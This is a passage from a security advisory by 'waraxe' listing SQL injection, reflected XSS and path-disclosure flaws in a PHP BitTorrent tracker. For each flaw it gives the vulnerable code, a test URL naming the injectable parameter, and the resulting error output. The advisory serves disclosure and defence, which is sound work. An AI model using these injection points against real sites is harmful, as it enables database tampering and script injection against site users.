code start ]-----------------------------------
--------------------------[ test code end ]------------------------------------ Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe', name='', descr='' where id='1'' at line 1 ############################################################################### 24. SQL Injection in "takerequest.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameter "requesttitle" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries PHP script "takerequest.php" line 36: ------------------------[ source code start ]---------------------------------- $requesttitle = $_POST["requesttitle"]; $request = $requesttitle; ... $db->sql_query("INSERT INTO ".$db_prefix."_requests (hits,userid, cat, request,  descr, added) VALUES(1, '".$user->id."', '".$cat."', '" . $request . "',  '".$msg."', NOW())")or die(mysql_error()); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]-----------------------------------
--------------------------[ test code end ]------------------------------------ Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe', '', NOW())' at line 1 ############################################################################### 25. SQL Injection in "takethankyou.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied parameter "id" Preconditions: none Result: attacker can manipulate database queries   PHP script "takethankyou.php" line 36: ------------------------[ source code start ]---------------------------------- $res = $db->sql_query("SELECT id FROM ".$db_prefix."_torrents WHERE id = $id"); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/takethankyou.php?id=waraxe ############################################################################### 26. SQL Injection in "torrents.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "type" Preconditions: none Result: attacker can manipulate database queries   PHP script "torrents.php" line 89: ------------------------[ source code start ]---------------------------------- $sort =  (isset($_GET["sort"])) ? $_GET["sort"] : ''; $type =  (isset($_GET["type"])) ? $_GET["type"] : ''; ... if ($sort == 1) $orderby = " ORDER BY ".$db_prefix."_torrents.name $type,  "; ... $sql = "SELECT ".$db_prefix."_torrents.*, IF(".$db_prefix."_torrents.numratings ...  ".$db_prefix."_torrents.owner = U.id WHERE ".$viswhere.$catwhere.$passwhere.  $orderby.$db_prefix."_torrents.added DESC LIMIT ".$from.",  ".$torrent_per_page.";"; $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/torrents.php?sort=1&type=waraxe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'waraxe, torrent_torrents.added DESC LIMIT 0,10' at line 1 ############################################################################### 27. SQL Injection in "viewsnatches.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "id" Preconditions: none Result: attacker can manipulate database queries   PHP script "viewsnatches.php" line 115: ------------------------[ source code start ]---------------------------------- $sql = ("select count(".$db_prefix."_snatched.id) from ".$db_prefix."_snatched  inner join  ".$db_prefix."_users on ".$db_prefix."_snatched.userid =  ".$db_prefix."_users.id inner join ".$db_prefix."_torrents on  ".$db_prefix."_snatched.torrentid = ".$db_prefix."_torrents.id WHERE  ".$db_prefix."_snatched.torrentid =". $_GET[id]) or die(mysql_error()); $res3 = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/viewsnatches.php?id=waraxe Result: Unknown column 'waraxe' in 'where clause' ############################################################################### 28. SQL Injection in "votesview.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "requestid" Preconditions: none Result: attacker can manipulate database queries   PHP script "votesview.php" line 35: ------------------------[ source code start ]---------------------------------- $requestid = $_GET[requestid]; $res2 = $db->sql_query("select count(".$db_prefix."_addedrequests.id) from ".$db_prefix."_addedrequests inner join ".$db_prefix."_users on ".$db_prefix."_addedrequests.userid  = ".$db_prefix."_users.id inner join ".$db_prefix."_requests on ".$db_prefix."_addedrequests.requestid = ".$db_prefix."_requests.id WHERE ".$db_prefix."_addedrequests.requestid =$requestid") or print(mysql_error());; ------------------------[ source code end ]------------------------------------ Test: http://pmbt/votesview.php?requestid=waraxe Result: Unknown column 'waraxe' in 'where clause' ############################################################################### 29. Reflected XSS in "ban.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied parameter "reson" Preconditions: none Test: http://pmbt/ban.php?reson= ############################################################################### 30. Reflected XSS in "bbcode.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied POST parameter "test" Preconditions: none Test: -------------------------[ test code start ]-----------------------------------
--------------------------[ test code end ]------------------------------------ ############################################################################### 31. Reflected XSS in "contactstaff.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied GET parameter "returnto" Preconditions: none Test: http://pmbt/contactstaff.php?returnto="> ############################################################################### 32. Reflected XSS in "faq.php" ############################################################################### Reason: uninitialized variable "$faq_categ" Attack vector: user-supplied parameter "faq_categ" Preconditions: none Test: http://pmbt/faq.php?faq_categ[0][title]= &faq_categ[0][flag]=1 ############################################################################### 33. Reflected XSS in "keno.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied parameters "n1","n2","n3","n4","n5","n6","n7",  "n8","n9","n10","n11","n12","n13","n14","n15","n16","n17","n18","n19","n20" Preconditions: none Test: http://pmbt/keno.php?n1="> http://pmbt/keno.php?n20="> ############################################################################### 34. Reflected XSS in "makepoll.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied parameters "returnto" and "poll" Preconditions: none Test: http://pmbt/makepoll.php?returnto=> http://pmbt/makepoll.php?poll[id]=> ############################################################################### 35. Reflected XSS in "modrules.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied parameter "res" Preconditions: none Test: http://pmbt/modrules.php?act=newsect& res[text]= ############################################################################### 36. Reflected XSS in "polls.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied parameters "pollid" and "returnto" Preconditions: none Test: http://pmbt/polls.php?action=delete&pollid=> http://pmbt/polls.php?action=delete&returnto=> ############################################################################### 37. Reflected XSS in "popuptest.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied parameter "text" Preconditions: none Test: http://pmbt/popuptest.php?text= ############################################################################### 38. Reflected XSS in "redirect.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied parameter "url" Preconditions: none Test: http://pmbt/redirect.php?url='> ############################################################################### 39. Reflected XSS in "search.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied parameter "search" Preconditions: none Test: http://pmbt/search.php?search="> ############################################################################### 40. Reflected XSS in "user.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied parameter "returnto" Preconditions: none Test: http://pmbt/user.php?op=loginconfirm&returnto="> ############################################################################### 41. Reflected XSS in "ajax.php" ############################################################################### Reason: insufficient sanitization of html output Attack vector: user-supplied parameters "torrent", "password", "browsemenu",  "pagemenu" and "torrentrating" Preconditions: none Tests: http://pmbt/ajax.php?op=view_coments_page&torrent="> http://pmbt/ajax.php?op=view_coments_page&password="> http://pmbt/ajax.php?op=view_details_page&torrent=> http://pmbt/ajax.php?op=view_details&torrent=> http://pmbt/ajax.php?op=member_search&search=z&browsemenu= http://pmbt/ajax.php?op=member_search&search=z&pagemenu= http://pmbt/ajax.php?op=view_rate_page&torrentrating= ############################################################################### 42. Full Path Disclosure in multiple scripts ############################################################################### Tests: http://pmbt/actb.php Fatal error: Call to a member function sql_query() on a non-object in C:\apache2www\actb.php on line 47 http://pmbt/findnotconnectable.php?action=sendpm Fatal error: Call to undefined function stdhead() in C:\apache2www\findnotconnectable.php on line 58 http://pmbt/torrents-needseed.php Fatal error: Call to a member function sql_query() on a non-object in C:\apache2www\torrents-needseed.php on line 35 Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum:  http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------